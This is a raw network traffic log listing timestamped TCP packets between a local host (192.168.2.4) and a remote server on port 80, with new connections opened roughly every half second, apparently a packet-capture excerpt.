Jan 11, 2021 17:57:10.855813026 CET	80	50010	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:10.855992079 CET	50010	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.856262922 CET	50010	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:10.977680922 CET	50011	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:11.119573116 CET	80	50010	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:11.256735086 CET	80	50011	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:11.256913900 CET	50011	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:11.257790089 CET	50011	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:11.537098885 CET	80	50011	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:11.537400007 CET	50011	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:11.537643909 CET	50011	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:11.563646078 CET	50012	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:11.816095114 CET	80	50011	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:11.823761940 CET	80	50012	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:11.825414896 CET	50012	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:11.826153040 CET	50012	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.087328911 CET	80	50012	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:12.087544918 CET	50012	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.087652922 CET	50012	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.091519117 CET	50013	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.347731113 CET	80	50012	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:12.349458933 CET	80	50013	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:12.350066900 CET	50013	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.353857994 CET	50013	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.612499952 CET	80	50013	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:12.613135099 CET	50013	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.613528013 CET	50013	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.727298021 CET	50014	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.871155977 CET	80	50013	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:12.995274067 CET	80	50014	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:12.995373011 CET	50014	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:12.996682882 CET	50014	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:13.265201092 CET	80	50014	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:13.265558004 CET	50014	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:13.265779972 CET	50014	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:13.272397041 CET	50015	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:13.528814077 CET	80	50015	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:13.528915882 CET	50015	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:13.529620886 CET	50015	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:13.533128977 CET	80	50014	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:13.786463976 CET	80	50015	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:13.786744118 CET	50015	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:13.787048101 CET	50015	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:13.795975924 CET	50016	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.043226957 CET	80	50015	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:14.056591034 CET	80	50016	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:14.057692051 CET	50016	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.060118914 CET	50016	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.321432114 CET	80	50016	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:14.321732044 CET	50016	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.322165012 CET	50016	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.444546938 CET	50017	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.582366943 CET	80	50016	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:14.704951048 CET	80	50017	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:14.705105066 CET	50017	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.707397938 CET	50017	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.968189955 CET	80	50017	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:14.968947887 CET	50017	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.969177961 CET	50017	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:14.975348949 CET	50018	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:15.229167938 CET	80	50017	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:15.235466957 CET	80	50018	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:15.235579014 CET	50018	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:15.236136913 CET	50018	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:15.496850967 CET	80	50018	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:15.497745037 CET	50018	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:15.497946978 CET	50018	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:15.528868914 CET	50019	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:15.757852077 CET	80	50018	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:15.790251970 CET	80	50019	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:15.791714907 CET	50019	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:15.794238091 CET	50019	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.056045055 CET	80	50019	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:16.056247950 CET	50019	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.056418896 CET	50019	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.165133953 CET	50020	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.317318916 CET	80	50019	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:16.426357985 CET	80	50020	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:16.426462889 CET	50020	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.427335978 CET	50020	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.689208031 CET	80	50020	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:16.689965010 CET	50020	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.690166950 CET	50020	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.692747116 CET	50021	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.951009989 CET	80	50020	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:16.954132080 CET	80	50021	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:16.954360008 CET	50021	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:16.966995001 CET	50021	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:17.228844881 CET	80	50021	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:17.229371071 CET	50021	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:17.229509115 CET	50021	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:17.233309031 CET	50022	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:17.490571022 CET	80	50021	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:17.503469944 CET	80	50022	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:17.505634069 CET	50022	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:17.506401062 CET	50022	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:17.776748896 CET	80	50022	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:17.776993036 CET	50022	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:17.777256012 CET	50022	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:17.898283958 CET	50023	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.046636105 CET	80	50022	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:18.163469076 CET	80	50023	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:18.164299011 CET	50023	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.165337086 CET	50023	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.430999041 CET	80	50023	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:18.432545900 CET	50023	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.432694912 CET	50023	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.437127113 CET	50024	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.696832895 CET	80	50024	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:18.697525978 CET	50024	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.697593927 CET	80	50023	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:18.698347092 CET	50024	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.958631992 CET	80	50024	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:18.958785057 CET	50024	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.961451054 CET	50024	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:18.968305111 CET	50025	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:19.221093893 CET	80	50024	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:19.229466915 CET	80	50025	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:19.230102062 CET	50025	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:19.233356953 CET	50025	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:19.495107889 CET	80	50025	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:19.495424032 CET	50025	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:19.495599985 CET	50025	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:19.619645119 CET	50026	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:19.756608963 CET	80	50025	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:19.879506111 CET	80	50026	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:19.879611969 CET	50026	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:19.880944014 CET	50026	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.141428947 CET	80	50026	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:20.141525984 CET	50026	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.141766071 CET	50026	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.145986080 CET	50027	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.401056051 CET	80	50026	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:20.406014919 CET	80	50027	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:20.406227112 CET	50027	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.407540083 CET	50027	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.667928934 CET	80	50027	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:20.668092012 CET	50027	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.668296099 CET	50027	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.674627066 CET	50028	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.934117079 CET	80	50027	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:20.938344002 CET	80	50028	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:20.938509941 CET	50028	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:20.939857006 CET	50028	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:21.203788042 CET	80	50028	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:21.203974009 CET	50028	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:21.204025030 CET	50028	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:21.319210052 CET	50029	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:21.467189074 CET	80	50028	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:21.589534044 CET	80	50029	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:21.589713097 CET	50029	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:21.590358973 CET	50029	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:21.861025095 CET	80	50029	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:21.862119913 CET	50029	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:21.862303972 CET	50029	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:21.865274906 CET	50030	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.132302046 CET	80	50029	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:22.133224964 CET	80	50030	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:22.134124994 CET	50030	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.137531996 CET	50030	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.406336069 CET	80	50030	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:22.407227039 CET	50030	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.407428026 CET	50030	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.413650990 CET	50031	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.673980951 CET	80	50031	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:22.674078941 CET	50031	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.675158978 CET	50031	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.675267935 CET	80	50030	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:22.936172962 CET	80	50031	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:22.936403036 CET	50031	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:22.936634064 CET	50031	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:23.054307938 CET	50032	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:23.196711063 CET	80	50031	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:23.315829992 CET	80	50032	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:23.318089008 CET	50032	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:23.319056988 CET	50032	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:23.581068039 CET	80	50032	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:23.583781958 CET	50032	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:23.584009886 CET	50032	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:23.591613054 CET	50033	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:23.845213890 CET	80	50032	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:23.858829021 CET	80	50033	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:23.859649897 CET	50033	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:23.861730099 CET	50033	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.129415989 CET	80	50033	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:24.129501104 CET	50033	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.129601955 CET	50033	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.133711100 CET	50034	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.396053076 CET	80	50034	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:24.396166086 CET	50034	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.396394014 CET	80	50033	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:24.396656990 CET	50034	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.659502029 CET	80	50034	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:24.659734964 CET	50034	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.660469055 CET	50034	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.772429943 CET	50035	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:24.922811031 CET	80	50034	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:25.034434080 CET	80	50035	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:25.034673929 CET	50035	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.035551071 CET	50035	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.298223972 CET	80	50035	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:25.298620939 CET	50035	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.299190044 CET	50035	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.304649115 CET	50036	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.560678005 CET	80	50035	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:25.565469027 CET	80	50036	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:25.566350937 CET	50036	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.567418098 CET	50036	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.828813076 CET	80	50036	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:25.829266071 CET	50036	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.829432011 CET	50036	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:25.834501982 CET	50037	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:26.089834929 CET	80	50036	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:26.093677044 CET	80	50037	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:26.094079971 CET	50037	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:26.094739914 CET	50037	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:26.354414940 CET	80	50037	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:26.354573965 CET	50037	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:26.354670048 CET	50037	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:26.478899002 CET	50038	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:26.613559961 CET	80	50037	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:26.750530958 CET	80	50038	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:26.752520084 CET	50038	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:26.753338099 CET	50038	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.024575949 CET	80	50038	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:27.024835110 CET	50038	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.025087118 CET	50038	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.034399986 CET	50039	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.295644045 CET	80	50038	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:27.298363924 CET	80	50039	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:27.298563004 CET	50039	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.299591064 CET	50039	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.564192057 CET	80	50039	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:27.564305067 CET	50039	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.564474106 CET	50039	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.568435907 CET	50040	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.828164101 CET	80	50039	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:27.829572916 CET	80	50040	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:27.829860926 CET	50040	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:27.832099915 CET	50040	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.093781948 CET	80	50040	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:28.094825029 CET	50040	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.095153093 CET	50040	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.210186005 CET	50041	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.356311083 CET	80	50040	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:28.469147921 CET	80	50041	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:28.469528913 CET	50041	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.470154047 CET	50041	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.729583979 CET	80	50041	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:28.729688883 CET	50041	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.729821920 CET	50041	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.736040115 CET	50042	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.988543034 CET	80	50041	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:28.998671055 CET	80	50042	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:28.998862028 CET	50042	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:28.999576092 CET	50042	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:29.262648106 CET	80	50042	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:29.262790918 CET	50042	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:29.265005112 CET	50042	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:29.269448996 CET	50043	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:29.527278900 CET	80	50042	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:29.533353090 CET	80	50043	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:29.534420967 CET	50043	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:29.535096884 CET	50043	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:29.799536943 CET	80	50043	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:29.800756931 CET	50043	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:29.800981045 CET	50043	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:29.937433004 CET	50044	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.064647913 CET	80	50043	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:30.199404001 CET	80	50044	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:30.199558973 CET	50044	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.203625917 CET	50044	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.465909004 CET	80	50044	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:30.466042995 CET	50044	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.466274977 CET	50044	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.471905947 CET	50045	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.727611065 CET	80	50044	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:30.733849049 CET	80	50045	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:30.735007048 CET	50045	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.735768080 CET	50045	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.998259068 CET	80	50045	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:30.998748064 CET	50045	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:30.998893023 CET	50045	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:31.002202988 CET	50046	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:31.260814905 CET	80	50045	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:31.263509035 CET	80	50046	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:31.264242887 CET	50046	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:31.264834881 CET	50046	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:31.526848078 CET	80	50046	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:31.527337074 CET	50046	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:31.527671099 CET	50046	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:31.648883104 CET	50047	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:31.788757086 CET	80	50046	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:31.911181927 CET	80	50047	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:31.911308050 CET	50047	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:31.912024021 CET	50047	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.174684048 CET	80	50047	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:32.179137945 CET	50047	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.179263115 CET	50047	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.183458090 CET	50048	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.441108942 CET	80	50047	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:32.442712069 CET	80	50048	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:32.443151951 CET	50048	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.447808027 CET	50048	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.707947969 CET	80	50048	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:32.709605932 CET	50048	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.709888935 CET	50048	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.720355988 CET	50049	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.969136000 CET	80	50048	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:32.990688086 CET	80	50049	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:32.991045952 CET	50049	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:32.992369890 CET	50049	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:33.263003111 CET	80	50049	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:33.263200998 CET	50049	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:33.266567945 CET	50049	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:33.385032892 CET	50050	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:33.536602974 CET	80	50049	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:33.655575037 CET	80	50050	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:33.657726049 CET	50050	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:33.658216000 CET	50050	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:33.928900003 CET	80	50050	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:33.929498911 CET	50050	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:33.930738926 CET	50050	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:33.936300993 CET	50051	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:34.199870110 CET	80	50051	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:34.200733900 CET	80	50050	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:34.201724052 CET	50051	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:34.205075979 CET	50051	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:34.469141006 CET	80	50051	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:34.471539021 CET	50051	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:34.598129988 CET	50051	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:34.602391958 CET	50052	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:34.861500978 CET	80	50051	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:34.863835096 CET	80	50052	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:34.863956928 CET	50052	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:34.868999004 CET	50052	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:35.131473064 CET	80	50052	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:35.135453939 CET	50052	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:35.465029001 CET	50052	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:35.586373091 CET	50053	80	192.168.2.4	210.116.91.80
